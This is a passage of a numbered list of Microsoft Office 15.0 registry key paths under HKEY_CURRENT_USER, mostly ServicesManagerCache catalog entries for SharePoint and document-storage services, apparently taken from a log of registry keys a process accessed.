  1243. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  1244. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  1245. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  1246. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1247. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1248. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1249. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1250. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1251. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\656487",
  1252. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\656487\\656487",
  1253. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1254. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1255. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1256. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1257. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1258. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1259. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1260. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1261. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1262. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1263. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1264. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1265. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1266. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1267. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1268. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1269. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1270. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1271. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1272. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1273. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1274. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1275. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1276. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1277. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1278. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1279. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1280. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1281. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1282. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1283. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1284. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1285. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1286. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1287. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1288. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1289. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1290. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1291. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1292. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1293. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1294. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1295. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1296. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1297. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1298. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1299. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1300. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1301. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1302. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1304. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1305. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1306. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1307. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1308. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1309. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1310. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1311. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1312. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1313. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1314. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1315. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1316. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1317. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1318. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1319. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1320. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1321. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1322. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1323. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1324. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1325. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1328. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1329. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1330. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1331. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1332. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1333. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1334. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1335. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1336. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1337. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1338. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1339. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1340. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1346. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1347. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1348. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1350. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
